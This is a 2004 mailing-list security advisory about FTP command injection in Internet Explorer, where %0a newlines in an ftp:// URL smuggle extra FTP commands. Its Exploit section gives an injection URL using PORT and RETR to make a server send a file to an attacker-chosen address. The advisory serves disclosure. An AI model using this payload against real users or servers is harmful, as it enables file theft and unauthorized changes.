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7a69Adv#15 - Internet Explorer FTP command injection
daemon@ATHENA.MIT.EDU (Albert Puigsech Galicia)
Wed Dec 8 14:44:36 2004
From: Albert Puigsech Galicia <ripe@7a69ezine.org>
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Date: Tue, 7 Dec 2004 04:19:36 +0100
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7a69ezine Advisories 7a69Adv#15
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http://www.7a69ezine.org [05/12/2004]
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Title: Internet Explorer FTP command injection
Author: Albert Puigsech Galicia - <ripe@7a69ezine.org>
Software: Microsoft Internet Explorer
Versions: >=3D 6.0.2800.1106
Remote: yes
Exploit: yes
Severity: Low-Medium
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I. Introduction.
Internet Explorer is a well-known HTTP browser, and like others it can use=
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more protocols, for example FTP. The security historial of this navigator i=
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really cool and we are glad for the excelent work done by Microsoft. We lov=
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your (in)security features.
II. Description.
In order to access to a server FTP using Internet Explorer you write=20
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then t=
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navigator connects to the server and executes the following commands (and=20
other that have omitted because they are not important for this stuff).
USER ftpuser
PASS ftppass
CWD /directory/
The security problem resides in which is posible to inject FTP commands on=
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the URL adding at the code %0a followed by your injected commands. If you d=
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"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute=20
those commands.
USER ftpuser
PASS ftppass
CWD /directory
somecommand
The last line is an erroneous command, but it's not a problem because=20
'somecommand' has already been executed.
III. Exploit
You need to deceive a user to go to your URL and then to introduce a valid=
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user and password. So yes! The explotation also requires to apply social=20
engineering. Then you can do a lot of things using this bug like create or=
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delete files and directories, but probably, the most interesting thing is t=
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download files. Its posible to do that using this URL;
ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
Then the server will connect to a.b.c.d and port e,f (see FTP RFC to=20
translate the port number) and will send the file data.
IV. Patch
Internet Explorer sucks a lot, just turn to Firefox World.
V. Timeline
01/12/2004 - Bug discovered on konqueror browser
03/12/2004 - Tried in IE. Also afected!
05/12/2004 - Advisor released
VI. Extra data
You can find more 7a69ezine advisories on this following link:
http://www.7a69ezine.org/avisos/propios [spanish info]
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